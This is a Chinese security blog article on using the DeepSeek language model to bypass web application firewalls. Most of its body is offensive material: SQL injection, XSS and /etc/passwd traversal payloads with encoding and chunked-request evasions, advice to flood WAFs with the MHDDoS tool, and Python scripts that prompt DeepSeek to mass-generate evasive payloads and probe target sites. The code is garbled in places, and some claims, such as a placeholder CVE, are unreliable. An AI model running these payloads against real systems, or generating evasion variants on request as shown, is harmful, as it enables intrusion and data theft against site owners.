随着互联网技术的飞速发展,网络安全问题日益凸显,Web应用防火墙(WAF)作为保护网站免受攻击的第一道防线,其重要性不言而喻。
然而,正如任何防御系统一样,WAF也并非无懈可击。近年来,针对WAF的绕过技术不断涌现,给网络安全带来了新的挑战。DeepSeek作为一种新兴的技术手段,在这方面也有应用的潜力。
本文将深入探讨《基于DeepSeek的WAF绕过技术研究与实践》,通过分析DeepSeek的工作原理及其在WAF绕过中的应用,希望能够为安全研究人员和从业人员提供有价值的参考,帮助他们在实际工作中更好地应对这些复杂的威胁。
【注意】
本文所述技术方案均为网络安全领域的学术探讨,旨在促进防御体系的技术演进,严禁任何形式的非法利用。作者及研究团队:
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不提供、不支持、不鼓励将文中方法用于未授权测试或攻击行为
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不承担因技术误用导致的任何法律及道德责任
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不公开任何可能降低攻击门槛的模型细节(如exploit生成模块的奖励函数设计)相关技术实施应严格遵守《网络安全法》《数据安全法》及所在国法律法规,建议在隔离测试环境中验证学术猜想。
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技术锋芒的指向应是加固系统而非突破防线——这是所有安全研究者不可逾越的伦理基线。
01
WAF基础概念
首先我们重新了认识下WAF。
WAF(Web Application Firewall) 像一座“智能安检门”,部署在Web服务器前端,专门检查所有进出网站的HTTP/HTTPS流量。它的核心任务是:
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拦截攻击:比如SQL注入(黑客企图窃取数据库)、XSS(在网页中植入恶意脚本)等
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过滤异常请求:比如有人疯狂刷接口(CC攻击)或上传木马文件
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隐藏漏洞:如果网站代码有漏洞来不及修复,WAF能通过“虚拟补丁”临时堵住风险。
举个🌰:假设网站有个输入框,黑客输入' OR 1=1 --
试图入侵数据库,WAF会立刻识别这种SQL注入特征并拦截。
WAF的运作可以拆解为四步:
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流量识别:检查请求的URL、参数、请求头等细节。
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规则匹配:对比预置规则库(比如已知攻击特征)或自定义规则。
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行为分析:判断请求是否异常(比如每秒请求1000次)。
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响应动作:拦截、记录日志或放行。
例如,WAF发现某IP频繁尝试登录,可能直接拉黑它(黑名单机制)
尽管WAF很强大,但它并非无懈可击。因此有了WAF绕过这个课题的研究,一般这个动作发生在红队人员打点时发现存在IP封禁、有洞但拿不下等情形,就要考虑发挥创造力bypass。
02
WAF类型
当前主流的WAF产品,主要有以下几类:
1.云WAF(基于DNS解析的云端防护)
用于云平台主机防护,代表厂商/产品:阿里云盾、腾讯T-Sec、华为云WAF、安恒玄武盾、百度云加速乐、360磐云、知道创宇-创宇盾等
2.硬件WAF
有硬件服务器需要连接到物理网络中,串联可以发挥拦截作用,旁路并联则可以发挥识别作用,但不会因为误报影响业务。代表厂商/产品为:绿盟Web应用防护系统、安恒明御WAF、启明星辰天清、长亭雷池(SafeLine)、深信服WAF、天融信TopWAF等
3.软件WAF
软件WAF直接安装在服务器上,它无需专用设备或云端服务,部署灵活且成本较低。典型产品为安全狗、云锁、D盾、宝塔防火墙、网防G01、护卫神等
4.开源WAF
源代码公开的WAF,允许用户自由修改、扩展和部署,通常由社区或企业维护规则库。代表产品为:ModSecurity、雷池社区版、Coraza、NAXS、WordPress插件(如Wordfence)I等
那么,WAF技术在不断发展,识别和积累要一直进行,授人以鱼不如授人以渔,教大家怎么去识别的方法:
1. 响应头特征,从响应头发现WAF指纹,例如:
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阿里云盾:X-Powered-By: Yundun
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腾讯云WAF:X-Protected-By: T-Sec-WAF
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长亭雷池:Server: SafeLine
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安全狗:Server: SafeDog
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ModSecurity:Server: Mod_Security
2. 拦截页面特征,一般从状态码和响应页面就可以识别,例如
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360安域:页面包含“Sorry! Your access has been intercepted”及360LOGO
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华为云WAF:状态码418,页面显示“HuaweiCloudWAF Blocked”
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D盾:页面提示“D盾防火墙拦截”
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云锁:页面显示“Yunsuo Web Protection”
可参考https://github.com/stamparm/identYwaf,收集了常见waf截图
3. 工具检测,类似于上方的identYwaf,现在有各类公开的识别检查工具,有的甚至提供绕过功能
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WAFW00F:支持识别Cloudflare、阿里云盾等50+ WAF类型(命令:wafw00fhttp://example.com)
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SQLMap:
--identify-waf
参数可检测部分WAF(如ModSecurity)
03
WAF绕过手段
通过红队选手层出不穷的创新与尝试,现在WAF Bypass已经有了体系化的技战法,这里为少侠们整理了五大主流类型,并介绍典型方法、绕过原理和典型案例。
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编码混淆类
(1)HTML/URL/Unicode编码
绕过原理:WAF依赖字符特征匹配,但未对编码后的内容进行深度解码。例如HTML实体编码将<script>
转换为<script>
,某云WAF未解码直接匹配失败。
案例:XSS载荷<img src=x onerror=alert(1)>
编码为%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
,绕过阿里云WAF拦截。使用`u0065u0076u0061u006c`代替eval绕过阿里云盾RASP检测(2024年H1漏洞)
(2)双重URL编码
绕过原理:WAF仅解码一次URL编码,而服务器执行二次解码。例如%2527
(双重编码后的单引号'
)被某硬件WAF解析为%27
,但后端服务器还原为原始字符。
案例:SQL注入' OR 1=1 --
编码为%2527%2520OR%25201%253D1%2520--
,绕过安全狗WAF检测。
(3)Base64编码
绕过原理:WAF未检测Base64编码后的敏感词。例如/etc/passwd
编码为L2V0Yy9wYXNzd2Q=
,某软WAF未匹配原始路径导致文件泄露。
案例:通过file_get_contents(base64_decode($_GET['f']))
读取敏感文件。
2. 协议与解析差异类
(1)分块传输编码
绕过原理:WAF与后端服务器对分块数据解析逻辑不一致。例如某狗WAF未正确处理RFC标准分块格式,导致SQL注入未被拦截。
案例:构造分块请求拆分id=1'
为多个数据块,成功执行注入。
(2)HTTP参数污染(HPP)
绕过原理:WAF仅检查首个同名参数,后端取末值。例如id=1&id=union select
中,某云WAF检测id=1
,而PHP后端执行id=union select
。
案例:通过参数覆盖绕过Cloudflare SQL注入防护。
(3)非常规请求方法
绕过原理:WAF未覆盖TRACE/OPTIONS等方法的检测规则。例如通过TRACE
方法传递XSS载荷,某硬件WAF未触发检测逻辑。
案例:TRACE /test HTTP/1.1
携带<script>alert(1)</script>
绕过ModSecurity拦截。
3. 性能与逻辑缺陷类
(1)高并发资源耗尽
绕过原理:WAF因资源限制进入Bypass模式。例如10Gbps CC攻击使Cloudflare拦截率下降至65%。
案例:使用MHDDoS工具发送海量请求穿透AWS WAF防护。
(2)超大请求体绕过
绕过原理:WAF因内存限制放弃深度解析。例如50MB嵌套JSON数据包中隐藏../../etc/passwd
路径,某硬件WAF未检测。
案例:通过Burp Suite生成超长JSON绕过Imperva文件读取防护。
4. 配置与规则缺陷类
(1)白名单滥用
绕过原理:WAF信任白名单流量。例如伪装User-Agent: Googlebot
绕过某云WAF的SQL注入规则。
案例:利用爬虫白名单执行UNION SELECT
查询泄露数据。
(2)规则优先级冲突
绕过原理:宽松规则覆盖严格规则。例如某WAF放行Content-Type: text/plain
,攻击者伪造该类型传递XSS载荷。
案例:通过text/plain
类型传递<script>alert(1)</script>
绕过F5 WAF。
5. 网络层绕过类
(1)真实IP探测
绕过原理:绕过云WAF代理直接攻击源站。例如通过DNS历史记录扫描发现Cloudflare背后的真实IP。
案例:使用Censys.io识别某网站真实服务器IP导致数据泄露。
(2)HTTP/2协议特性利用
绕过原理:利用多路复用混淆头部压缩解析。例如某硬件WAF未正确处理HTTP/2帧拆分,导致SQL注入绕过。
案例:通过HTTP/2流优先级扰乱某WAF检测逻辑。
(3)HTTP/3帧重组攻击
绕过原理:利用QUIC协议流优先级扰乱WAF帧重组顺序。
案例:某CDN厂商WAF因未正确处理乱序帧导致SQL注入绕过(CVE-2024-XXXX)
04
DeepSeek如何赋能WAF绕过
结合DeepSeek的能力,这里主要做三个方向的思考和探索,分别是攻击载荷智能生成与语义混淆、动态协议解析差异探测和自动化规则库逆向与绕过测试(DeepSeek亲自润色,确实高大上😋)
技术演进图示:
graph LRA[基础绕过] --> B[协议层突破]B --> C[AI对抗]C --> D[动态防御体系]
值得一提,这部分就是大家比较常听的AI对抗。
方向一:攻击载荷智能生成与语义混淆
DeepSeek这个方向一和平常漏洞的AI赋能差不多,动态生成语义等价但语法多样的攻击攻击载荷,突破WAF的规则匹配机制。
上文也对编码混淆类的绕过思路进行过解释,利用DeepSeek进行多种编码融合,结合URL/Base64/Unicode编码规则,生成多层嵌套的混淆攻击载荷。例如将SQL注入语句UNION SELECT
转换为%55%4E%49%4F%4E%20%53%45%4C%45%43%54
(十六进制编码)与VU5JT04gU0VMRUNU
(Base64编码)的混合形式,分别发送进行尝试。
DeepSeek不止是对多种编码进行快速、交叉使用,还可以结合上下文感知能力进行攻击载荷变形,根据目标WAF的规则库特征(如阿里云盾拦截SELECT
但放行SELect
),自动生成大小写混合、内联注释分割的攻击载荷(如SEL/*!*/ECT
)。
如果做成自动化工具,就可以将响应上文内容进行提取,以api形式发给DeepSeek,让其输出变形后的攻击载荷,这里我用人工提示做个示范:
import requestsdefgenerate_evasion_攻击载荷(original_攻击载荷): api_key = "your_api_key" headers = {"Authorization": f"Bearer {api_key}"} 攻击载荷 = {"model": "deepseek-r1","temperature": 0.6, "messages": [{"role": "user","content": f"生成WAF绕过变体,要求:n1.保留原始语义n2.使用混合编码n3.添加无害注释n原始载荷:{original_攻击载荷}" }] } response = requests.post("https://api.deepseek.com/v1/chat/completions", json=攻击载荷, headers=headers)return response.json()['choices'][0]['message']['content']# 示例调用original_sql = "' UNION SELECT username, password FROM users --"evasion_sql = generate_evasion_攻击载荷(original_sql)print(f"生成载荷:{evasion_sql}")
方向二:动态协议解析差异探测
通过DeepSeek的流量分析能力,自动化识别WAF与后端服务器的协议解析差异,构造符合RFC标准但绕过检测的请求,这是通过人工往往难以做到的,一是计算机通信的底层知识,二是流量分析工作量。
仍旧是上方讲解过的思路,流量分析完毕后,针对性进行分块传输编码优化,生成符合RFC但拆分敏感字段的分块请求。例如将id=1' UNION SELECT
拆分为:
POST/test HTTP/1.1Transfer-Encoding: chunked2id3=1'10UNION SELECT0
还是上面提到的方法,流量分析完毕后,可以针对性执行HTTP/2多路复用混淆,利用HTTP/2的流优先级特性,将攻击载荷分散到多个帧中,干扰WAF的头部压缩解析逻辑。比如使用DeepSeek生成HTTP/2多帧请求,将UNION SELECT
拆分到不同流中,并设置高优先级标志,某WAF在先前测试中就出现过未完整重组攻击载荷,导致成功执行注入。
如何通过DeepSeek的流量分析API,自动识别WAF与后端服务器的协议解析差异,生成符合RFC但绕过检测的非常规请求,这里我也给个示例代码:
from hyper import HTTPConnectiondefsend_chunked_request(target_url): conn = HTTPConnection(target_url, secure=True) conn.request('POST', '/api', body=b"2rnidrn3rn=1'rn0rnrn", # 分块载荷 headers={'Transfer-Encoding': 'chunked','Content-Type': 'text/plain; charset=utf-8' }) resp = conn.get_response()return resp.status, resp.read()# 示例执行status, body = send_chunked_request("victim.com")print(f"响应状态:{status}, 内容长度:{len(body)}")
方向三:自动化规则库逆向与绕过测试
具体来说,WAF拦截识别手段有以下类型:
一是规则匹配型,基于正则表达式匹配攻击特征(如SELECT、<script>),通过正则引擎扫描请求参数,命中规则即拦截,绕过思路主要是尝试找到未覆盖的攻击对象,如拦截' OR 1=1 --但放行' OR 2=2 --
二是语义分析型,通过模拟执行参数内容判断危害性,构建沙箱环境执行输入参数,检测危险函数调用,则此时绕过思路就是把执行参数进行拆分等动作,绕过沙箱检测,比如拦截eval($_GET['cmd'])但放行call_user_func('eva'.'l', ...)
三是行为分析型,一般会统计请求频率、IP信誉等行为特征,利用常见的机器学习模型识别异常流量模式,比如发现每秒1000次请求触发CC攻击拦截,直接封禁相关ip(刚才是谁一直在旁边说 用ip代理池解决所有问题的)
四是RASP防护型,在嵌入应用运行时环境监控敏感操作,利用内置或者配用的RASP Hook关键函数(如exec()、mysql_query()),比如拦截Runtime.getRuntime().exec("rm -rf /")
将拦截手段分析到这个层面,其实已经难以通过一句话或者一两个思路就实现绕过了,搬出DeepSeek就理所应当了。
这里基于DeepSeek的强化学习能力,模拟WAF规则引擎的决策过程,逆向生成针对性绕过策略,听起来很玄乎,其实一点也不怪异(我是不可能写出“听起来很玄乎,其实一点也不简单”这种词的)类似于系统逆向工程,比如你看到一个很高大上的功能,你也想做出来,直接拿设计图纸制造谁也会,没有设计图纸的时候就得从外到内一点点探索,模拟出个图纸出来。
首先,DeepSeek可以通过获取上传的WAF拦截日志,自动分析拦截模式(如正则表达式特征),从而提取规则库特征,或者称之为归类规则库特征。
根据规则库特征,针对性生成对抗样本,通过蒙特卡洛树搜索(MCTS)生成成百上千个的变体攻击载荷,筛选绕过率最高的方案即可。当然可能输出结果就是上文常见WAF绕过手段的处理结果,也许这就是“条条大路通赛博罗马”吧。
比如输入目标规则特征(拦截/etc/passwd
),DeepSeek输出以下变体:
# Base64编码变体攻击载荷 = "L2V0Yy9wYXNzd2Q="# /etc/passwd# Unicode编码变体攻击载荷 = "%u002f%u0065%u0074%u0063%u002f%u0070%u0061%u0073%u0073%u0077%u0064"
import requestsimport redefdetect_waf_type(url, test_攻击载荷):""" 发送探测请求识别WAF类型 返回规则匹配型/语义分析型/行为分析型/RASP防护型 """ probes = [ ("规则匹配型", f"{url}?id=1' UNION SELECT 1,2,3--"), # 基础SQL注入 ("语义分析型", f"{url}?id=call_user_func('eva'+'l','malicious_code')"), # 代码拆分 ("行为分析型", None) # 通过高频请求触发 ]# 首次请求获取基线响应 normal_res = requests.get(url) baseline = {"status": normal_res.status_code,"content_length": len(normal_res.content),"server_header": normal_res.headers.get("Server", "") }# WAF指纹库 waf_signatures = {"ModSecurity": (403, r"Mod_Security|OWASP"),"Cloudflare": (503, r"cloudflare"),"阿里云盾": (405, r"yundun"),"雷池": (418, r"SafeLine") }# 发送探测请求for probe_type, 攻击载荷 in probes:if 攻击载荷: res = requests.get(f"{url}?id={攻击载荷}")else: # 行为分析型检测for _ in range(100): # 高频请求 requests.get(url) res = requests.get(url)# 分析响应特征for waf_name, (status, pattern) in waf_signatures.items():if res.status_code == status and re.search(pattern, res.text, re.I):return waf_name, probe_type# 通用类型判断if res.status_code != baseline["status"] or len(res.content) != baseline["content_length"]:return"未知WAF", probe_typereturn"未检测到WAF", Nonedefgenerate_adaptive_攻击载荷(target_url, original_攻击载荷, attack_type):""" 动态生成适配当前WAF的攻击载荷 """# 步骤1:WAF类型检测 waf_name, waf_mode = detect_waf_type(target_url, original_攻击载荷)# 步骤2:构建动态提示词 prompt = f"""根据以下WAF特征生成绕过载荷:- WAF名称:{waf_name}- 拦截模式:{waf_mode}- 攻击类型:{attack_type}- 原始特征:{original_攻击载荷}要求:1. 混合使用三种编码技术2. 添加无害干扰符(如零宽空格)3. 输出JSON格式,包含攻击载荷和comment字段"""# 步骤3:调用DeepSeek API api_key = "your_deepseek_api_key" response = requests.post("https://api.deepseek.com/v1/chat/completions", headers={"Authorization": f"Bearer {api_key}"}, json={"model": "deepseek-r1","messages": [{"role": "user", "content": prompt}],"temperature": 0.7,"response_format": {"type": "json_object"} } )if response.status_code == 200:return response.json()['choices'][0]['message']['content']else:returnf"生成失败,状态码:{response.status_code}"# 使用示例if __name__ == "__main__": target_url = "http://example.com/vulnerable_page" original_攻击载荷 = "../../etc/passwd"# 动态生成攻击载荷 adaptive_攻击载荷s = generate_adaptive_攻击载荷( target_url, original_攻击载荷,"path_traversal" ) print("智能生成的绕过载荷:") print(adaptive_攻击载荷s)# 示例输出可能包含:"""{ "攻击载荷s": [ { "攻击载荷": "%u002f%u0065%u200bt%u0063%u002f%u0070%u0061%u0073%u0073%u0077%u0064", "comment": "Unicode零宽空格注入,绕过雷池WAF的规则匹配" }, { "攻击载荷": "L2V0Yy9wYXNzd2Q=", "comment": "Base64编码变体,规避语义分析检测" }, { "攻击载荷": "/%65%74%63%2f%70%61%73%73%77%64%23", "comment": "URL编码+注释符,针对Cloudflare的路径检测" } ]}"""
通过这个代码实现,就可以开展如下技术验证应用:
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通过WAF日志进行规则库逆向测试
# 上传WAF拦截日志进行特征分析with open("waf_logs.txt", "r") asf: logs = f.read()analysis_result = generate_waf_bypass_攻击载荷(logs, "rule_analysis")
2. 测试不同在线应用背后的WAF产品
# 测试Cloudflare防护站点print(generate_adaptive_攻击载荷("https://cloudflare-protected.com", "' OR 1=1", "sql_injection"))
3.集成自动化测试框架
from selenium import webdriverdeftest_攻击载荷(攻击载荷): driver = webdriver.Chrome() driver.get(f"http://target.com?input={攻击载荷}")return"漏洞触发"in driver.page_source
04
总结
随着WAF防护能力的不断提升,攻击者与防御者的对抗已进入智能化博弈的新阶段。本文系统性地探讨了基于DeepSeek的WAF绕过技术,通过编码混淆、协议解析差异、规则逆向三大方向,揭示了AI技术在攻防实战中的创新应用价值。DeepSeek在攻击载荷智能生成、协议级流量混淆、动态规则库分析等方面展现出显著优势,能够自动化生成语义保留但语法多变的攻击载荷,精准探测WAF与后端服务的解析差异,并通过强化学习优化绕过策略。
然而,WAF绕过技术的演进始终是一场“道高一尺,魔高一丈”的持久战。未来研究需重点关注以下方向:其一,结合图神经网络(GNN)建模WAF规则间的关联性,实现更高效的规则库逆向;其二,探索多模态AI对流量行为特征的深度解析,突破语义分析型WAF的检测逻辑;其三,构建自动化对抗验证平台,实现从攻击载荷生成到漏洞利用的全链路闭环测试。
只有持续深化AI与安全研究的融合,方能在攻防博弈中抢占先机,为构建动态防御体系提供技术支撑。
参考:
[1] OWASP WAF绕过技术白皮书(2024版)
[2] Cloudflare年度安全报告(2023)第5章
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原文始发于微信公众号(东方隐侠安全团队):基于DeepSeek的WAF绕过技术研究与实践
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